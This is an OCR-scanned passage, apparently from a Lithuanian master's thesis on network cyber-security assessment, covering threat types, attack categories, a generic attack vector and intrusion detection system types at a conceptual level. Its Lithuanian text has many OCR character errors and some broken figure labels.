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Santrauka

Siandien vyriausybés skatina naudotis vie$osiomis elektroninémis paslaugomis per centralizuotus
elektroninius vartus, bankai skatina naudotis elektroninés bankininkystés paslaugomis, sveikatos
prieziiiros jstaigos skatina naudotis elektroninémis sveikatos sistemomis, o verslas atidaro savo
internetines parduotuvés prekybai ar santykiams uzmegzti. Visi Sie duomenys masina piktavalius
pasinaudoti netinkamai apsaugotais duomenimis. Siais laikais auga poreikis jvertinti turimy
informaciniy ir telekomunikacijy resursy atsparuma kibernetinéms atakoms, kas leisty apsaugoti visa
informacijg nuo neleistino pasinaudojimo ar pakeitimo.

Siame darbe i$nagrinéti kibernetinés saugos vertinimo algoritmai, jsibrovimo aptikimo sistemy
architektiiros, naudojamos metodikos jsibrovimui aptikti, jy privalumai ir triikumai. Pastebéta, kad
naudojamos jsibrovimo aptikimo sistemos apima visus IT&T tinklo elementus, o naudojamos
jsilauzimo aptikimo metodikos ir algoritmai apima nuo paprastos informacijos surinkimo i$ jutikliy
ir agenty iki profiliy ar modeliy aptikimo ir identifikavimo panaudojant dirbtinio intelekto pajégumus.
Darbo metu sudarytas informaciniy IT&T tinklo kibernetinés saugos vertinimo algoritmas, kuris buvo
patikrintas atlikus realaus tinklo atsparumo kibernetinés saugos patikrinimg. Vykdant realaus tinklo
kibernetinés saugos atsparumo patikrinima, atlikti eksperimentai, kuriy metu buvo nustatyti tinklo
pazeidziamumai, atlikta jy analizé, nustatant pazeidziamumy vietg kibernetinés atakos vektoriuje.
Taip pat atlikti nustatyty pazeidZziamumy vertinimo skai¢iavimai, kurie leidzia jvertinti
pazeidziamumo kritiSkumo laipsnj. Darbo metu atliktas sudaryto IT&T tinklo kibernetinés saugos
vertinimo algoritmo perzitira ir sukurtas galimos kibernetinés atakos prognozavimo modelis, kuris
leidzia nustatyti kibernetinio saugumo labiausiai tikéting kibernetinés atakos kelig ir suskai¢iuoja Sios
kibernetinés atakos tikimybg. Kibernetinés atakos prognozavimo modelis sukurtas panaudojus grafy
ir Markovo grandiniy teorijas. Darbo metu kibernetinés atakos prognozavimo modelis buvo
patikrintas panaudojus gautais duomenimis i§ realaus tinklo atsparumo kibernetinés saugos
patikrinimo, suformuotos kibernetinés atakos pazeidZziamumy panaudojimo ir kibernetinés atakos
vektoriaus matricos, kibernetinés atakos grafai, kibernetinés atakos pazeidziamumy panaudojimo
per¢jimo ir kibernetinés atakos vektoriaus peréjimo matricos.

Pastebéta, kad sukurto kibernetinés atakos prognozavimo modelio pagalba galima nustatyti ne tik
kibernetinés atakos tikimybe, bet ir identifikuoti tuos pazeidimus, kuriuos piktavalis galimai
efektyviausiai pasinaudoty rengdamas kiberneting ataka.

IT&T tinklo kibernetinés saugos vertinimo algoritmas buvo pristatytas 16-oje E2TA konferencijoje,
Kaune.
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Summary

The Government encourages the use of public electronic services through centralised electronic gates,
banks promote the use of e-banking services and health care institutions promote the use of electronic
health systems, moreover, the business opens its online stores in trade or relations today. Currently,
secure information resources are as important as the security of assets. There is a growing need to
evaluate available IT&T resources and resilience to cyber-attacks in order to protect all of the
information from unauthorized use or modification nowadays.

This final work examines the cyber security evaluation algorithms, intrusion detection systems
architectures, techniques used to detect intrusions, their advantages and disadvantages. It is noted that
the intrusion detection system includes all elements of the IT&T network and is used for the detection
of hacking techniques. Algorithms range by the simple collection of information from sensors and
agents to profiles or models of detection and identification through the use of artificial intelligence
capabilities. An algorithm that evaluates cyber security of information in IT&T network was
developed in this work. This algorithm was tested by a real network cyber security inspection. During
the experiments, which have been carried out in real network, the network‘s vulnerabilities have been
detected, their analysis have been carried out with the determination the location of the vulnerabilities
in the cyber-attack vector. Moreover, the calculation of identified vulnerabilities have also been made,
which allow assessing the critical degree of the vulnerability. At the final work a review of the
algorithm which evaluates cyber security of information in IT&T network was made and developed
by possible cyber-attack prediction model, which allows to set up most probable path of cyber-attack
and calculates the probability of it. Cyber-attack prediction model was made using Markov chains
and graph theories. During the final work, the cyber-attack prediction model was tested using data
obtained from a real network cyber security inspection, the matrices of cyber-attack vulnerability
exploits and cyber-attack vector, cyber-attack graphs, cyber-attack vulnerabilities and cyber-attack
vector transition matrices were also formed.

It has been noted that with the help of the cyber-attack prediction model, it is possible to determine
not only the probability of cyber-attack, but also to identify those violations that could be used most
effectively by malicious people in preparing a cyber-attack.

The IT&T network cyber security assessment algorithm was presented at the 16th E2TA conference
in Kaunas.
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Santrumpy ir terminy sarasas
Santrumpos:

ARP — adreso skiriamosios gebos protokolas (angl. Address Resolution Protocol), skirtas IP adresui
priskirti prie fizinio masinos adreso;

CVSS — bendra pazeidziamumo vertinimo sistema (angl. Common Vulnerability Scoring System);
DDoS — paskirstyta atsisakymo aptarnauti ataka (angl. Distributed Denial of Service);
DMZ — demilitarizuota zona;

DNS — srities vardy struktiiros sistema (angl. DNS — Domain Name System);

Doc. — docentas;

DoS — atsisakymo aptarnauti ataka (angl. Denial of Service);

FTP — faily perdavimo protokolas (angl. F'TP — File Transfer Protocol);

HTTP — hiperteksto perdavimo protokolas (angl. Hypertext Transfer Protocol);

IDS — jsilauzimo aptikimo sistema (angl. Intrusion detection system);

IKE — Interneto Rakty Apsikeitimas (angl. Internet Key Exchange);

IP — interneto protokolas (angl. Internet Protocol);

IPS — jsilauzimo prevencijos sistema (angl. Intrusion prevention system);

IRS — jsilauzimo reagavimo sistema (angl. Intrusion Response System);

IT&T — informacinés technologijos ir telekomunikacijos;

KDV - kompiuterizuotos darbo vietos;

LLMNR - vietinio rySio daugiaformacio vardo skiriamosios gebos protokolas (angl. Link—Local
Multicast Name Resolution), leidziantis pagrindiniam tinklo elementui atlikti vardo priskyrimag
vidiniam rySiui atlikti;

MiTM - isiterpimas i dviejy tinklo elementy bendravima, jiems to nezinant (angl. MiTM—Man—in—
the-Middle);

NBNS — NetBIOS vardy tarnyba (angl. NetBIOS Name Server), serveris, atsakingas uz sarasa tarp
NetBIOS kompiuteriy vardy ir tinklo adresy;

NetBIOS — baziné tinklo jvesties / iSvesties sistemos protokolas (angl. Network Basic Input / Output
System), leidziantis programoms kompiuteriuose bendrauti tarpusavyje vietiniame tinkle;

PESCO — nuolatin¢ bendradarbiavimo gynybos srityje sistema;

Pvz. — pavyzdziui;
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RDP — Windows nuotolinés vietos protokolas (angl. Windows Remote Desktop Protocol), kuris
suteikia vartotojui grafing sgsaja, kad prisijungty prie kito kompiuterio per tinklo rysj;

SMB — serverio pranesimo blokas (angl. Server Message Block) tai tinklo protokolas, kurj naudoja
kompiuteriai su Windows operacine sistema, leidziantys to paties tinklo sistemoms bendrinti failus ir
skirtas kompiuteriams, prijungtiems prie to paties tinklo, prieiti prie faily i$ kity vietiniy kompiuteriy
taip pat lengvai, kaip jei jie buty kompiuterio vietiniame standZiajame diske;

SMTP — paprasto pasto perdavimo protokolas (angl. SMTP — Simple Mail Transfer Protocol);
SNMP — paprastas tinklo valdymo protokolas (angl. Simple Network Management Protocol);,
SSL — saugaus sujungimo lygio protokolas (angl. Secure Sockets Layer);

TCP — perdavimo valdymo protokolas (angl. Transmission Control Protocol);

TLS — transportinio sluoksnio saugumo kriptografinis protokolas (angl. Transpot Layer Security);
UDP — vartotojo duomeny perdavimo protokolas (angl. User Datagram Protocol);

VPN - virtualus privatus tinklas (angl. Virtual Private Network);

WEB - saitynas, pasaulinis tinklas, Ziniatinklis (angl. World Wide Web arba WWW), tai interneto
dalies resursai, kuriuos internete galima pasiekti naudojant interneto narSykle;

XSS — informaciniy sistemy pazeidziamumas (angl. Cross—Site Scripting), dazniausiai aptinkamas
tinklalapiuose, kuris leidzia jterpti papildoma programinj kodg j vartotojy perziiirima puslapj, kuris
atsiranda dél nepakankamo jvedamos informacijos filtravimo.

Terminai:

Internetas — pasaulinis serveriy tinklas, kuris leidzia dalytis informacija, kuri vyksta per interneta.
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Jvadas

Esamos Siuolaikinés informaciniy ry$iy technologijos leidzia rinkti ir keistis informaciniais iStekliais
verslo, akademinés visuomengés ir valstybés institucijy naudojant internetu. Siandien vyriausybés
skatina naudotis vieSosiomis elektroninémis paslaugomis per centralizuotus elektroninius vartus,
bankai skatina naudotis elektroninés bankininkystés paslaugomis, sveikatos prieziiiros istaigos
skatina naudotis elektroninémis sveikatos sistemomis, o verslas atidaro savo internetines parduotuvés
prekybai ar santykiams uzmegzti. Taigi, visi vartotojai, turintys prieiga prie interneto, gali neiSeinant
1§ namy gauti vis daugiau kokybisky paslaugy. Visi Sie duomenys masina piktavalius (angl. attacker)
pasinaudoti netinkamai apsaugotais duomenimis.

Nors tiek valstybés, priimant reguliavimo mechanizmus (pvz. Europos Sgjungos Bendrasis duomeny
apsaugos reglamentas), tiek verslas, investuojant | saugumo jrangg, imasi priemoniy, kad sumazinti
ar iSvengti grésmes Sioje erdvéje, taciau akivaizdziai matosi, kad grésmiy mastas auga dé¢l jvairiausiy
priezasCiy, tokiy, kaip nesavalaikiy priemoniy panaudojimo, jy netobulumo ar net d¢l to, kad tokios
priemonés i$ viso nenaudojamos. Kaip parodé 2016 m. atlikta pasauliné pasitikejimo bangos (angl.
Trustwave) saugumo ataskaita, net 97% istirty interneto aplikacijy yra jautrios kibernetinéms atakoms
[1]. Kaip rodo 2015 m. Jungtiniy Karalystés Verslo departamento saugumo apzvalga — 90% dideliy
organizacijy ir 74 % nedideliy organizacijy patyré pazeidziamuma kibernetinéje erdvéje [2].

Kibernetines atakas organizuoja tiek pavieniai Zmonés, tiek jy susivienijimai ar net valstybinés
organizacijos. Dar 2001 m. buvo bandyta susisteminti galimus paZeid¢jus ir apibrézti jy keliamas
grésmes [3]. Siai dienai i§ esmés i§lieka §is grésmiy susisteminimas, tik jis Siomis dienomis pasipildé
valstybinémis strukttiromis, kurios pradéjo uzsiimti kibernetinémis atakomis. Tikétina, kad tokios
valstybinés strukttiros kelia ypatingg grésme kibernetinéje erdvéje, o jy padaryti nuostoliai yra
situacijg nusprende jsteigti Lisabonos sutarties 46 straipsnyje numatytg glaudesnio bendradarbiavimo
mechanizma — PESCO, kuris sutelks ES valstybiy pajégas atremiant kylancias grésmes. Valstybiniy
struktiiry ar organizuoty nusikaltéliy ar teroristiniy grupiy kibernetinés atakos siekia pavogti, paveikti
ar sugadinti tam tikry verslo, finansiniy jmoniy ar valstybiniy institucijy informacinius isteklius
(duomenis) [3-7].

Siuo metu saugaus informaciniy istekliy uztikrinimas yra toks pat svarbus kaip ir turto saugumas.
Siais laikais auga poreikis jvertinti turimy informaciniy ir telekomunikacijy resursy atsparuma
kibernetinéms atakoms, kas leisty apsaugoti visg informacija nuo neleistino pasinaudojimo.

Darbo tikslas yra sukurti kibernetinés atakos detektavimo algoritma informaciniy technologijy ir
telekomunikacijy tinkluose, kuris leisty jvertinti kibernetinés atakos tikimybe.

Darbo uzdaviniai:

- Literaturos analizé (kibernetinés saugos srityje);

- Kibernetinés saugos architekttry analize;

- Kibernetinés saugos pasirinktam informaciniy technologijy ir telekomunikacijy tinklui
algoritmo sudarymas;

- Sudaryto algoritmo realizavimas pasirinktam informaciniy technologijy ir telekomunikacijy
technologijy tinklui;

- Sudaryto algoritmo tobulinimas ir galimos kibernetinés atakos prognozavimo modelio
sukiirimas.
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1. Kibernetinés saugos problematika

IT&T pramoné labai vystési per paskutinius 50 mety. Siuo metu IT&T technologijos yra visur ir jos
tapo neatsiejama dalis Siuolaikinéje visuomené¢je. IT&T jrenginiai ir komponentai yra paprastai
tarpusavyje susije, ir jeigu sutrinka vienas elementas tai gali turéti jtakos kitiems elementams. Per
pastaruosius metus, ekspertai reiSkia didéjant] susiriipinimg siekiant apsaugoti IRT sistemas nuo
kibernetiniy iSpuoliy.

1.1 PazZeidziamy objekty problematika

Vienas 1§ IT&T tinkly saugumo pagrindiniy tiksly yra uzkirsti kelia nelegaliam patekimui j IT&T
tinklus ir turimus duomenis, siekiant uztikrinti ty duomeny saugg. Norint uzkirsti kelia nelegaliam
patekimui j IT&T tinklus ir turimus duomenis visy pirma reikia identifikuoti jautrius objektus, kurie
galimai gali buti paZeidziami, o taip pat suprasti piktavaliy késlus bei jy metodus, jvertinti
kibernetinés saugos visuomenés galimybes atremti kibernetines atakas ir jvertinti metodus, kurie
leisty jvertinti IT&T tinkly saugg [1, 2].

Siekiant uztikrinti kibernetinj sauguma taikomas taip vadinamas CIA (angl. Confidenatiality,
Integrity, Availability) modelis [6], kuris pavaizduotas 1 paveiksle ir apima §ia pagrindines sritis:

- konfidencialumo (angl. Confidentiality). Bet kokia organizacijos informacija ar duomenys
turi biiti saugis ir neturi buti lengvai prieinama neautorizuotiems vartotojams;

- vientisumo (angl. Integrity) ir ne galimybés atsisakyti (angl. Non—repudiation).
Vientisumas uZztikrina, kad informacija ar duomenys nebus pakeisti jy transportavimo metu ir
informacija arba duomenys bus pristatyti tiksliai tokie, kokie buvo iSsiysti i§ originalaus
Saltinio. Ne galimybés atsisakyti reiSkia, kad siunciant ar gaunant duomenis ar informacijg
turi biiti uztikrinta, kad abi pusés neneigia, jog informacija ar duomenis buvo iSsiusti ir gauti;

- prieinamumo (angl. Availability) ir autentifikavimo (angl. Authentication). Prieinamumas
prie bet kokios organizacijos informacijos ar duomeny turi biiti organizuojamas per
suteikiamas teises. Autentifikavimo metu visi vartotojai turi buti tikrinami ar jie turi prieiga
prie reikalingos informacijos ar neturi. Tapatybés patikrinimas galimas S$iais budais:
slaptazodis, autentifikavimo Zetonas arba biometriniai duomenys. Tokie vartotojy patikrinimo
budai atskiria autorizuotus vartotojus nuo neautorizuoty vartotojy.

1 pav. Konfidencialumo, vientisumo ir priecinamumo modelis
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Siekiant uztikrinti informacijos ar duomeny sauguma galima iSskirti Sias sritis, kurioms reikalingas
démesys, uztikrinant sauguma ir kurios pavaizduotos 2 paveiksle:

1.

Duomenys:

1.1. Jautris duomenys (asmeniniai duomenys, banko korteliy duomenys, asmens indentifikavimo

kortelés duomenys, asmens sveikatos duomenys);

1.2. Vidinio naudojimo, konfidenciali informacija;
2. Aplikacijos:

2.1. Veiklos sistemos;

2.2. Kritinés sistemos;

3. Tinklas:

3.1. Serveriai;

3.2. Vidin¢ tinklo jranga;

3.3. Tinklo jrangos perimetras;

4. Pastatas (fizin¢ pastato apsauga).

Tinklas

Aplikacijos

Duomenys

2 pav. Informacijos ar duomeny saugumo sritys

1.2 Sukeliamy grésmiy ir padaromy Zaly problematika

Nagrin¢jant IT&T tinklo saugos pazeidimy sukeliamas grésmes galime pastebéti, kad San Diego
universitetas identifikavo keletg 1§ daugybés kibernetiniy grésmiy, kurios, kaip tikimasi, darys Zalg
ateinanciais metais [8]:

savaeigiai ir susije automobiliai ir pusiau autonominiai sunkvezimiai. Siy automobiliy
valdymas yra patrauklus piktavaliams, nes yra laikomasi vieningo J1939 rysiy protokolo. Tai
piktavaliams suteikia galimybe sukurti vieng visiems prieinamg ataka;

valstybés remiamos atakos. Nacionalinés valstybés dabar naudoja savo kibernetinius
jgudzius, kad jsiskverbty | kitas vyriausybinius tinklus ir atlikty iSpuolius j jy ypatingos
svarbos infrastruktiirg;

daikty interneto atakos. Yra labai daug neapsaugoty daikty interneto jrenginiy, greita daikty
interneto jrenginiy plétrg ir 1€ta daikty interneto jrenginiy saugumo standarty taikyma, o tai
sudaro galimybes daikty interneto jrenginius panaudoti kibernetinéms atakoms;

universitetas 2016 m. atliko naujy technologijy rizikos tyrimg [9], kuriame buvo pastebéta,
kad vis daugiau jrenginiy, kurie turi nedidelius saugumo reikalavimus, prijungiami prie
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ligoniniy ir kliniky tinkly ir taip pacienty duomenys ir informacija tampa bus vis labiau
pazeidziama. Piktavaliai teoriSkai gali padidinti ar sumazinti dozes, siysti elektros signalus
pacientui arba i§jungti gyvybiskai svarbiy Zenkly stebéjima. Taip pat pastebéta, kad ligoninés
ir medicinos jstaigos vykdo pacienty medicininiy jraSy skaitmeninimo procesus, kurie vis
labiau atviri;

- trecCiosios Salys (pardavéjai, rangovai, partneriai). Treciosios Salys, pvz., pardavejai ir
rangovai, kelia didziule rizika kompanijoms, kuriy dauguma neturi saugios sistemos ar
specialios komandos, kuri galéty valdyti Siuos treciyjy Saliy darbuotojus.

Atliekant IT&T tinklo saugos grésmiy analize, galima identifikuoti veiksmus, dél kuriy gali kilti
grésme informacijos saugai:

1. Ty¢iniai (pvz., nusikalstami, neleistini veiksmai);
2. Netyc¢iniai (pvz., klaidos);
3. Atsitiktiniai (pvz., gedimai ir nelaimés).

Nagrinéjant IT&T tinklo saugos grésmes galima iSskirti tokias Siy grésmiy kryptis:

1. Grésmés iS iSorés:

1.1. Saugos sistemy biiklé visada jtakoja i IT&T saugg. Pvz. neturéjimas saugos sistemy ar laiku
neatnaujinus saugos sistemy programing¢ ir aparating jrangg kyla tiek pavojus, tiek pagunda
kibernetinei atakai;

1.2. Pavienés atakos iS interneto, kai pavieniai asmenys ar organizuotos grupés atlieka tam tikrus
veiksmus, kurie skirti IT&T bei duomeny kaupiamy juose sutrikdyma;

1.3. Masinés atakos i$ interneto, kai organizuotos grupés ar kibernetinés armijos vykdo tikslingai
nukreiptas didelio masto atakas skirtas juridinio asmens veiklos ar valstybés tvarumo
sutrikdymui.

2. Grésmés i§ vidaus:2.1. Saugos politikos suteikia galimybeg piktavaliams organizuoti atakas. Pvz.
periodinis slaptazodziy nekeitimas ar jy laikymas vieSoje matomoje vietoje, ne laiku atnaujinta
antivirusiné programa;

2.2. Zmogiskasis faktorius yra viena i3 silpniausiy grandziy saugos problematikoje. Pvz. kai asmuo,
susigundes nuolaidomis, suveda savo prisijungimo duomenis j piktavaliy sukurtas svetaines.

Vykstant kibernetinéms atakoms yra padaroma zala. Nagrin¢jant minétas zalas, jas galima skirstyti |
Sias kategorijas:

Zala veiklai;

Zala kaupiamai informacijai;
Zala, susijusi su technine jranga;
Paslaugy teikimo sutrikimai;
Fizin¢ Zala.

Nk -

Apibendrinant galime partiriamas zalas ir grésmes pavaizduoti 3 pav.
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Grésmes is iSoreés

Pavienés
atakos

Grésmes iS vidaus
Saugos

Zmogiskas
faktorius
sistemos
@
Masinés Sagg_os
atakos Zala politika

[ Veiklai
[ Informacijai

[J Jrangai
] Paslaugoms
[ Fiziné zala

3 pav. Patiriamos zalos ir grésmés

1.3 Piktavaliy tiksly bei ju metody problematika

Analizuojant piktavaliy metodus galime pastebéti, kad norédami pasiekti savo tikslus, piktavaliai
naudoja tam tikrus iSpuoliy planavimo biidus, kuriuos galima suskirstyti i tokias kategorijas [6]:

1.

Suderintas (angl. Harmonized). Piktavalis tikisi suderinti procesa siekiant infekuoti sistema.
Veiksmy sinchronizacija, siekiant uzvaldyti informacija, leidzia pasiekti tikslus ir piktavalis
gauna rezultatg laiku suplanuotame Zingsnyje ir toje vietoje, kurioje tikisi;

Organizuotas (angl. Organized). Naudojama, kai piktavalis siekia labai lengvai uzvaldyti
sistemas. Organizuotas metodas leidzia pasiekti efektyvesnius rezultatus;

MilziniSkas (angl. Enormous). Tai yra plataus masto atakos, skirtos uzvaldyti milijonus tinklo
elementy su tikslu sukelti didelio masto duomeny ar finansiniy nuostoliy;

Reglamentuota (angl. Regimented). Nuosekli, kryptingai organizuota ataka, kuri turi labai rimty
pasekmiy organizacijos darbui;

Suplanuota (angl. Not Spontaneous arba Ad Hoc). Labai kruops¢iai suplanuota ataka, siekiant
maksimalios nelaimés;

Reikalaujanti laiko ir iStekliy. IS anksto suplanuota ataka, kuri reikalauja daug pinigy ir laiko
planuojant ataka.

Analizuojant piktavaliy tikslus galime pastebéti, kad rengiamas piktavaliy kibernetines atakas galima
susieti su sekanciais procesais [6]:

1.

Informacijos trikdymas. Piktavalio pagrindinis tikslas yra blokuoti prieiga prie svarbios
organizacijos ar valstybés institucijos informacijos autorizuotiems vartotojams, kurie vykdo savo
veiklg ar kai reikia konkre¢iy duomeny ar informacijos;

yra prieSintis kibernetinio saugumo bendruomenés siekiui sumazinti kibernetiniy ataky
pazeidziamumus. Piktavaliai bando apeiti saugumo spragas prisitaikant prie standartiniy procesy
arba didinant atakos sudétinguma ir kompleksiSkuma;

Sprendimo priémimo proceso sulétéjimas. Kibernetiniy ataky iSpuoliai, skirti kritiniy sriciy
procesams tokiems, kaip gelbéjimo, avariniy ir kariniy tarnyby sprendimo priémimui, siekiant
sutrikdyti Siuos procesus;
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4. Atsisakymas teikti vieSgsias paslaugas. Piktavaliai blokuoja prieigg autorizuotiems vartotojams
prie informacijos, kuri susijusi su vieSyjy paslaugy teikimu, siekiant sutrikdyti banky,
gelezinkeliy, oro linijy ar akcijy rinky darbg;

5. Visuomenés pasitikéjimo mazinimas. D¢l jsilauzimo ar informacijos vagystés visuomenés
pasitikéjimas organizacija ar valstybés institucija gali biiti suzlugdytas;

6. Salies reputacijos Zeminimas. Kibernetinio iSpuolio pagrindinis tikslas yra Zeminti 3alies
reputacijg ir, jeigu biity sutrikdyta Salies tinkle veikla, tai galéty rimtai paveikti Salies reputacija;

7. Teisinio intereso sumazinimas. Vienas i§ atakos motyvy yra sumazinti darbo vietos reputacija.

Analizuojant piktavaliy metodus galime pastebéti, kad kibernetinés atakos atitinka tokias kategorijas
[6], kurios pavaizduotos 4 pav.

S
Atakos
\[/
Pagal tiksla Pagal teisinj Pagal jgyvendinimo Pagal apimtj Pagal tinklo tipa
jvertinima sunkumg ~
Mg o N P R
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5 . ———Kibernetinis Aktyvi ataka : 5t T
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4 pav. Kibernetiniy ataky kategorijos

1. Pagal tiksla:

1.1. Ataka skirta zvalgybai. Neteisétas aptikimas, tinkle nuotrauka ir paslaugos yra priskiriamos
zvalgybos atakoms. Tai yra panaSu ] klasikinj nusikaltimo incidentg kai piktavalis tikrina ar
galima sunaikinti namg negyvenamoje teritorijoje, ar durys néra stiprios ar langai yra atviri;

1.2. Prieigos ataka. Neteisétas jsilauzimas sukuria galimybe pasiekti jrenginj prie kurio piktavalis
neturi teisiy su tikslu pavogti duomenis ar kaip juos sugadinti ar jdiegti jrankj, kuris sukurty
pazeidziamuma tolesnei atakai;

1.3. Atsisakymo aptarnauti (angl. DoS) ataka [20, 26]. Tinklo ar sistemos darbo sustabdymas ar
sutrikdymas sulétinus jos veikima yra vadinama atsisakymo aptarnauti ataka;

2. Pagal teisinj jvertinima:Kibernetinis nusikaltimas (angl. Cyber crime). Kibernetiniy nusikaltimy
tikslas yra tinklg ar sistemas padaryti kaip nusikalstamos veiklos jrankj;

2.2. Kibernetinis S$nipinéjimas (angl. Cyber espionage). Kibernetinio Snipin¢jimo tikslas yra
pasinaudojus neteisétais piktnaudziavimo metodais gauti asmening nauda ar gauti reikalingg
informacijg, panaudojant jsilauzimy metodika ir kenké&jisSkas programines jrangas tokias, kaip
»trojy arkliai“ (angl. Trojan) ar Snipinéjimo programing jrangg (angl. spy ware);

2.3. Kibernetinis terorizmas (angl. Cyber terrorism). Internetiniy iSpuoliy teroristinei veiklai
naudojimas, jskaitant sgmoningo didelio masto IT&T tinkly sutrikimy veikima, naudojant tokias
priemones, kaip kompiuteriniai virusai;
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2.4. Kibernetinis karas (angl. Cyberwar). Kibernetinis karas yra vienos valstybés organizuota ataka,
kurios metu yra jsiskverbiama j kitos Salies IT&T tinkla, kad buity padaryta Zala ar sutrikdyta
veikla;

3. Pagal jgyvendinimo sunkuma:

3.1. Aktyvi ataka (angl. Active Attacks). Atakos metu piktavalis perduoda duomenis visiems tinklo
elementams arba blokuoja duomeny perdavimg viena arba daugiau krypciy. Piktavalis gali
bandyti nutraukti siun¢iamus duomenis tinkle, nes uzpuolikas yra jsiterpes tarp abiejy Saliy,
kurios perduoda ir priima duomenis;

3.2. Pasyvi ataka (angl. Passive Attacks). Atakos metu piktavalis vykdo telekomunikacijy tinkly
pasiklausymg su tikslu pavogti informacija. Sis atakos biidas skiriasi nuo aktyvios tuo, kad jis
nejsiterpia j uzmegzta rysj tarp Saliy, kurios perduoda ir priima duomenis;

4. Pagal apimtj:

4.1. Didelio masto (angl. Malicious Large Scale). Kenk¢jiskas didelio masto atakas atlieka asmenys
ar grupé asmeny, su tikslu gauti asmeninés naudos arba sukelti sutrikimus ir chaosg. Tokie
iSpuoliai yra didelio masto ir juose dalyvauja tiikstanciai sistemy ir gali sukelti visame pasaulyje
sistemy katastrofas su didelés apimties duomeny ir pasitik€jimo praradimu;

4.2. Nekenkéjiskos ir nedidelio masto (angl. Non—Malicious Small Scale). Tai paprastai yra
atsitiktines atakos, kurios patiriamos dél netinkamo gaminio naudojimo ar eksploatavimo klaidy
ar blogai apmokyty asmeny. Sios atakos gali sukelti nedideliy nuostoliy duomenims arba tinkle
elementams;

5. Pagal tinklo tipa:

5.1. Mobiltuis organizuoti tinklai (angl. Mobile Adhoc Networks) (MANET). ISpuoliai, kuriais
siekiama sulétinti arba nutraukti keitimasi informacija tarp tinklo mazgy [26, 40]. Tai dazniausiai
atakos, kuriy metu yra pasinaudojama jrenginio autentifikavimo duomenimis, kad kiti tinklo
mazgai neatpazinty, kad tai yra Zalingas ar apkréstas jrenginys. Tokiu biidu sukuriamas tunelis
per visg tinkla;

5.2. Belaidziy jutikliy tinklai (angl. Wireless Sensor Networks) (WSN). Ataka, kurios metu
uzkertamas kelias jutikliams aptikti ir perduoti informacijos per tinklg [27, 50]. Tai aplikacijos,
tinklo, transporto lygio atakos bei atakos susijusios su Sifravimu.

1.4 Galimybiy atremti kibernetines atakas problematika

Analizuojant visuomeneés galimybes atremti kibernetines atakas, reikéty suprasti, kokios kibernetinés
atakos sukelia didziausius nuostolius. Pastebéta, kad akademinéje visuomenéje yra nagrin¢jami
atvejai, kaip atremti kibernetines atakas dar prie§ jai jvykstant [31]. Taip pat pastebéta, kad
kibernetinés atakos, kurios vyksta ne spontaniskai, o apgalvotai ir i§ anksto ruoSiantis, jos yra pacios
pavojingiausios, maziausiai aptinkamos ir sukelia didziausius nuostolius. Tokios kibernetinés atakos
organizuojamos dvejomis pagrindinémis ataky kryptimis, kurios susideda 1§ tokiy etapy [7, 61],
pavaizduoty 5 pav.:

1. IKkaire:
1.1. Zvalgyba (angl. Reconnaissance). Kai piktavalis pasirenka tiksla, ji tiria ir bando nustatyti
pasirinkto tinklo pazeidziamumus;
1.2. Ginklavimasis (angl. Weaponization). Kai piktavalis sukuria kenke¢jiSka nuotolinés prieigos
programing jranga, (pvz., virusg ar kirming), pritaikytg vienam ar daugiau pazeidziamumy;
1.3. Pristatymas (angl. Delivery). Kai piktavalis sukurta kenkéjiska programing jrangg perduoda |
pasirinktg tinklg (pvz., naudodamas elektroninj pasta, svetaines ar kitus jrankius);
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1.4. Naudojimas (angl. Exploitation). Kai piktavalis imasi veiksmy pasirinktame tinkle, kad iSnaudoty
pazeidziamuma t. y. paleidzia kenkéjiskos programinés jrangos koda.

2. I deSine:

2.1. Diegimas (angl. Installation). Kai piktavalis jdiegia paslépta nuotolinés kenkéjiskos programinés
irangos prieigos taska (angl. Backdoor);

2.2. Valdymas ir kontrol¢ (angl. Command and control). Kai piktavalis, naudojantis kenkéjiska
programine jranga, turi nuolating prieigg prie pasirinkto tinklo;

2.3. Valdymo veiksmai (angl. Action on objectives). Kai piktavalis imasi veiksmy, kad pasiekty savo
tikslus (pvz., duomeny vagysté, sunaikinimas, Sifravimas ir pan.).

| kaire ] desSine

Ginkla- ™. Prista-

galgvba vimasis -~ tymas

5 pav. Tipinis kibernetinés atakos vektorius [7]

Galima atkreipti démesj, kad jeigu kibernetiné ataka pereina | deSing pus¢ tai ja bus sunku
sustabdyti.Dazniausiai po valdymo veiksmy, piktavalis pasinaudodamas kenkéjiskos programinés
jrangos prieigos tasku atlieka jkal¢iy naikinimg, kuriuvo metu piktavalis atliecka veiksmus, kurie
nepalikty pozymiy, kad jvyko jsilauzimas (pvz., zurnaliniy jrasy trynimas, modifikacijy maskavimas,
kenkejiskos programinés jrangos paSalinimas ir pan.).

Galima pastebéti, kad Europos Sajungos tinkly informacinés saugos agentiira ENISA (angl.
European Union Agency For Network and Information Security) naudoja pazeidziamumy vietos
indentifikavimg kibernetinés atakos vektoriuje [62], t. y. kiekvienas pazeidziamumas piktavalio gali
biti panaudotas tam tikrame kibernetinés atakos vektoriaus etape arba etapuose.

Analizuojant kokios yra visuomenés galimybes atremti kibernetines atakas galime pastebéti, kad
naudojamas saugos sistemas galima suskirstyti j 3 grupes [10—11, 60]:

- isilauzimo aptikimo sistema (toliau — IDS);
- isilauzimo prevencijos sistema (toliau — IPS);
- isilauzimo reagavimo sistema (toliau — IRS).

Siais laikais §ios sistemos jgauna naujy bruoZy, lyginant su tradicinémis tokiomis sistemomis,
kadangi naudojamos naujos technologijos, tokios, kaip debesy kompiuterija.

IDS renka informacijg 1§ IT&T tinklo bei analizuoja §ig informacijg nustatydama galimus sistemos ar
tinklo saugumo pazeidimus [10-14, 24, 25, 28-30, 32-34, 36, 38, 48,49, 51, 52, 60]. IDS naudojamos
tokiy IT&T stebe¢jimui [13, 48, 49]:

1. Tinklo (angl. network—based) 1IDS (toliau — NIDS), kai stebimas ir analizuojamas tinklas, jo
srautas ar atskiri jo jrenginiai;

2. Mazgy (angl. host—based) IDS (toliau — HIDS), kai stebimos ir analizuojamos svarbios
informacinés sistemos;

3. Paskirstytos (angl. distributed) IDS (toliau — DIDS), kai yra naudojamos kelios HIDS ar NIDS ar
ju kombinacija ir yra vienas bendras valdymo centras;
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4. Belaidzio tinklo (angl. Wireless) IDS (toliau — WIDS), kai yra stebimas ir analizuojamas belaidis
tinklas, jo srautas ar atskiri jo jrenginiai [27, 50];

5. Tinklo funkcionavimo analizés (angl. Network Behavior Analysis) (toliau — NBA), kai yra
stebimas tinklo srautas, siekiant nustatyti grésmes, sukelian¢ias nejprastus tinklo srauto pokycius.
Tai pokyc¢iai kurie gali identifikuoti tokias atakas, kaip DoS atakas [20, 26] ar tam tikry kenkeéjisky
